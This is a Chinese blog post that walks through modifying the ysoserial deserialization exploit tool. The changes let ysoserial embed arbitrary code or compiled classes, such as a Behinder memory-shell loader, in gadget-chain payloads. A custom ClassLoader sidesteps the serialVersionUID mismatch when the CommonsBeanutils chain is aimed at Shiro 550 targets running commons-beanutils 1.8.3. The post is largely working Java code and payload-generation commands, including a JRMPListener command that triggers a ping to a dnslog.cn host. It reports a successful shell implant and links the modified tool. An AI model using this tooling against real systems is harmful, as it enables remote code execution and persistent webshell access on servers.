0x00 前言
本文语雀地址:https://www.yuque.com/tianxiadamutou/zcfd4v/ffd33r
用过 ysoserial 的师傅应该都知道,原生的 ysoserial 在使用方面上有一些不便利,例如其 javasist 动态生成类的时候,传入的参数只能为命令,那么例如内存马注入的这种需要我们添加代码片段的场景就并不适用了,所以我们需要进行一些修改,使其我们能将我们的代码片段给加进去,
还有就是依赖问题,ysoserial 中 commonsbeanutils 的版本是 1.9.2 但是 shiro 550 中自带的是 commonsbeanutils 1.8.3 ,那么如果目标 cb 是 1.8.3 ,那么我们生成的反序列化 payload 由于是 cb 1.9.2 的,所以会导致 serialVesionUid 不一致的问题,从而最终反序列化利用失败
所以针对以上这两种痛点,在查看 c0ny1 师傅的文章之后,对 ysoerial 进行了一些简单的修改和改造,非常感谢 c0ny1 师傅的分享
主要参考链接如下:
-
http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/ 使ysoserial支持执行自定义代码
-
http://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/#0x03-%E8%87%AA%E5%AE%9A%E4%B9%89ClassLoader%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88 使用自定义ClassLoader解决反序列化serialVesionUID不一致问题
-
https://github.com/woodpecker-framework/ysoserial-for-woodpecker
0x01 ysoserial 概述
参考链接:
https://www.anquanke.com/post/id/229108
ysoserial 主要有两种运行方式
一种是利用 java -jar 运行主类函数,利用 gadget 生成反序列化 payload
例如:java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 whoami

另一种是利用 java -cp 来指定 exploit 包下的特定类来开启交互服务,执行远程攻击
例如:java -cp ysoserial-master-d367e379d9-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'ping -c zymsf8.dnslog.cn'

首先我们先来简单的看一下 ysoserial 的简单结构,我们今天重点关注 payloads 包

首先来看一下 GeneratePayload 也就是 反序列化 payload 生成的入口函数

接下来我们来看我们的 payloads 包下的结构,该包可以说是本工具的核心了,其包含了大量的反序列化 gadget
annotation 包下的就是主要存放着一些注解,通过注解可将漏洞影响版本、作者等信息进行显示


util 包下主要存放着一些工具类,我们今天重点关注这里的 Gadgets 类
剩下的即红框部分就是各种反序列化 gadget 了

我们这里结合例子 CommonsBeanutils1来简单的查看一下
首先看到我们的红框处,这里 getObject 传入参数为 command,然后将 command 传给 Gadgets.createTemplatesImpl 来动态生成 templates 对象,然后传入 CommonsBeanutils1 的利用链中

跟进 Gadgets.createTemplatesImpl 查看其是如何实现的,Gadgets 类在 payloads.utils 下

可以看到这里动态生成的 templates 对象中主要是利用 Runtime.getRuntime().exec 来执行我们传入的命令的,然后最终返回 templates

所以原生 ysoserial 只支持 命令的传入,当我们想要在动态生成的 templates 插入我们自己的代码的时候就不行了,所以我们需要对 ysoserial 的这个部分进行一个修改
0x02 使 ysoserial 支持自定义代码
这里采用的是 c0ny1 师傅提出的方法:http://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/
我这边添加了四种方式
| 序号 | 方式 | 描述 |
|---|---|---|
| 1 | “code:代码内容” | 代码量比较少时采用 |
| 2 | “codebase64:代码内容base64编码” | 防止代码中存在但引号,双引号,&等字符与控制台命令冲突。 |
| 3 | “codefile:代码文件路径” | 代码量比较多时采用 |
| 4 | “classfile:class路径“ | 利用已生成好的 class 直接获取其字节码 |
通过在输入的 command 前添加前缀,根据不同前缀进行不同的处理方式
这其中 code codebase codefile 前缀的都是插入代码,然后动态生成 templates
classfile 则是直接读取 class 文件中的字节码动态生成 templates(个人使用这种情况比较多)
if (command.startsWith("code:")){
cmd = command.substring(5);
} else if (command.startsWith("codebase64:")){
byte[] decode = new BASE64Decoder().decodeBuffer(command.substring(11));
cmd = new String(decode);
} else if (command.startsWith("codefile:")){
String codefile = command.substring(9);
cmd = CommonUtils.getCodeFile(codefile);
// 指定了class文件之后 直接读取字节码 动态生成 templates
} else if (command.startsWith("classfile:")){
String classfile = command.substring(10);
classBytes = CommonUtils.readClassByte(classfile);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
} else {
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
这样当我们想要注入内存马的时候我们可以利用 yso 中的任意链进行生成,这里举一个例子
如果我们这里要将 BehinderLoader 结合 cb 链来反序列化打进去,那么我们就可以事先编译好


然后在使用 yso 的时候利用 classfile:后跟上其对应的路径即可快速生成反序列化 payload
例如:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 classfile:./poc/shell/BehinderLoader.class > test.ser
成功的打包进去了

这里尝试用 cb 链打 shiro ,发现并没有出现预期的冰蝎密钥交换以及header头

查看控制台,一看好家伙 ysoserial 中的 CommonsBeanutils 版本为 1.9.2 但是我的漏洞环境是 1.8.3 ,CommonsBeanutils 版本不一致从而出现了一下问题

那么接下来就是解决 serialVersionUID 不一致的问题了,这里先放解决之后的链生成的payload,下文会介绍
利用 cb 1.8.3 版本打一下
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_183 classfile:./poc/shell/BehinderLoader.class > demo.ser
发现出现了预期的密钥交换,和我们的header头

ps:不修改客户端冰蝎反序列化注入可以查看该文章:https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
0x03 利用 Classloader 解决 serialVesionUid 问题
在上文我们发现 yso 自带的依赖是 cb 1.9.2 然而我们漏洞环境是 cb 1.8.3 ,但是总不能每次遇到版本不同的情况就修改 pom.xml 然后重新进行打包吧?所以这里利用自定义 classloader 来破坏双亲委派来实现依赖的隔离
双亲委派
参考链接:https://www.cnblogs.com/wxd0108/p/6681618.html
在类加载的情况下会遵循一个叫做双亲委派的模型:如果一个类加载器收到类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器完成。每个类加载器都是如此,只有当父加载器在自己的搜索范围内找不到指定的类时(即ClassNotFoundException),子加载器才会尝试自己去加载

双亲委派保证了类的一致性,同时也防止了攻击者自定义恶意类从而劫持的情况
Classloader 中的几个重要函数
loadClass
在 loadClass 中首先会检查类是否被加载,如果已经被加载过了那么就不需要重新进行加载了
如果没有被加载,那么首先会查找是否有父类加载器,如果有那么就由父类加载器进行加载
如果父类加载器以及 bootstrap 都没有找到指定类,就会调用当前类加载器的 findClass 方法来完成类加载
所以如果我们想要打破双亲委派模型的话我们需要重写 loadClass 该方法

findClass
可以看到 findClass 中是默认抛出异常的,所以当我们实现自定义 classloader 的时候是必须要重写该方法的

而前面我们知道,loadClass 在父加载器无法加载类的时候,就会调用我们自定义的类加载器中的findeClass函数,因此我们必须要在 loadClass 这个函数里面实现将一个指定类名称转换为 Class 对象
我们可以通过读取类名来获取对应的字节数组,那么如何将字节数组转换成 Class 对象?这里可以用到 defineClass 来将字节数组转换成 Class 对象了
defineClass
这个函数相必大家都很熟悉,就是将一个字节数组转为 Class 对象

所以因为双亲委派模型的存在,ysoserial 的 commonsbeanutils 的版本与漏洞版本不同,所以导致反序列化失败产生了serialVesionUid的问题
自定义 Classloader 实现依赖之间的隔离
上面说到打破双亲委派我们需要重写 loadClass ,自定义 Classloader 需要重写 findClass,所以我们需要重写 loadClass 和 findClass 来进行实现
自定义ClassLoader可以很方便地切换不一致jar为漏洞环境的对应版本,生成的发序列化数据自然不会存在serialVesionUID不一致问题我们自定义ClassLoader包含了Gadget class和不一致jar,当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的class使用的是自定义ClassLoader加载的,实现隔离
我们自定义的 ClassLoader 首先需要维护一张表 classByteMap,来存放对应的class名以及其对应的 byte 数组,然后当利用 loadClass 加载类时会调用 findClass 从 classByteMap 中进行寻找,如果找到了就进行加载并且返回,如果没有找到就走双亲委派去父类 ClassLoader 中进行寻找
创建 classByteMap 表和缓存表 cacheClass,以及对应的装载函数
private Map<String, byte[]> classByteMap = new HashMap<>();
private Map<String, Class> cacheClass = new HashMap<>();
public void addClass(String className, byte[] classByte ){
classByteMap.put(className,classByte);
}
重写 findClass 方法
会从 classByteMap 中根据类名进行寻找,如果找不到就抛出错误,如果找到了就利用父类的 defineClass 进行加载
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] result = classByteMap.get(name);
if ( result == null){
throw new ClassNotFoundException();
} else {
return super.defineClass(name,result,0,result.length);
}
}
重写 loadClass 方法
首先会从缓存中进行寻找如果发现已经加载了就直接返回
然后这里先调用 findClass 进行寻找,从而破坏双亲委派模型,如果找不到了再调用父类的 loadClass
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class clazz = cacheClass.get(name);
if (null != clazz) {
return clazz;
}
try {
clazz = findClass(name);
if (null != clazz) {
cacheClass.put(name, clazz);
}else{
clazz = super.loadClass(name, resolve);
}
} catch (ClassNotFoundException e) {
clazz = super.loadClass(name, resolve);
}
if (resolve) {
resolveClass(clazz);
}
return clazz;
}
}
由于我们要实现 依赖的分离加载,所以我们还需要将 jar 中的 class 也添加到 classByteMap 中,我这边创建了一个 resources 的目录,里面存放了 base64 编码后的 CommonsBeanutils 1.8.3

然后利用 getResourceAsStream 方法获取其内容,并且进行解码,此时解码之后的为 byte 数组
我们这里创建一个 tempJarFile 的 jar 文件,然后将我们读取的 byte 写到这个 tempJarFile 文件中
编写 readJar 来将 jar 中的 class 都加载到 classByteMap 中
public void addJar(byte[] jarByte) throws Exception{
File tempFile = null;
JarFile jarFile = null;
tempFile = File.createTempFile("tempJarFile", "jar");
FileUtils.writeByteArrayToFile(tempFile, jarByte);
jarFile = new JarFile(tempFile);
readJar(jarFile);
}
readJar
遍历 jar 包,如果发现名字以 .class 结尾就获取其对应的字节码存入到 classByteMap 中
private void readJar(JarFile jar) throws IOException, IOException {
Enumeration<JarEntry> en = jar.entries();
while (en.hasMoreElements()){
JarEntry je = en.nextElement();
String name = je.getName();
if (name.endsWith(".class")){
String clss = name.replace(".class", "").replaceAll("/", ".");
if(this.findLoadedClass(clss) != null) continue;
InputStream input = jar.getInputStream(je);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead = 0;
while ((bytesNumRead = input.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
byte[] cc = baos.toByteArray();
input.close();
classByteMap.put(clss, cc);
}
}
}
最终 gadget 实现
利用自定义 ClassLoader 来加载我们的 payload,这样当Gadget class实例化生成序列化对象时,由于当前ClassLoader优先原则,存在不一致问题的 class 使用的是自定义ClassLoader加载的,从而实现隔离
public class CommonsBeanutils1_183 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
SuidClassLoader suidClassLoader = new SuidClassLoader();
suidClassLoader.addClass(CommonsBeanutils1.class.getName(), ClassFiles.classAsBytes(CommonsBeanutils1.class));
InputStream inputStream = CommonsBeanutils1_183.class.getClassLoader().getResourceAsStream("commons-beanutils-1.8.3.txt");
byte[] jarBytes = new BASE64Decoder().decodeBuffer(CommonUtils.readStringFromInputStream(inputStream));
suidClassLoader.addJar(jarBytes);
Class clsGadget = suidClassLoader.loadClass("ysoserial.payloads.CommonsBeanutils1");
Object objGadget = clsGadget.newInstance();
Method getObject = objGadget.getClass().getDeclaredMethod("getObject",String.class);
Object objPayload = getObject.invoke(objGadget,command);
suidClassLoader.cleanLoader();
return objPayload;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1_183.class, new String[]{"open -a Calculator"});
}
}
直接运行 demo 发现出现报错,这样就说明我们的依赖成功实现了隔离

修改过的 ysoserial 地址:https://github.com/KpLi0rn/ysoserial
0x04 总结
整篇文章都是站在前人的肩膀上完成的,所以离不开前辈们文章的分享,这里思路基本都是基于 c0ny1 师傅,但是自己在实现过程中遇到了一些小坑所以写了这篇文章
ysoserial 其实要改的地方还很多,本次只是简单的进行修改,如果错误还望指正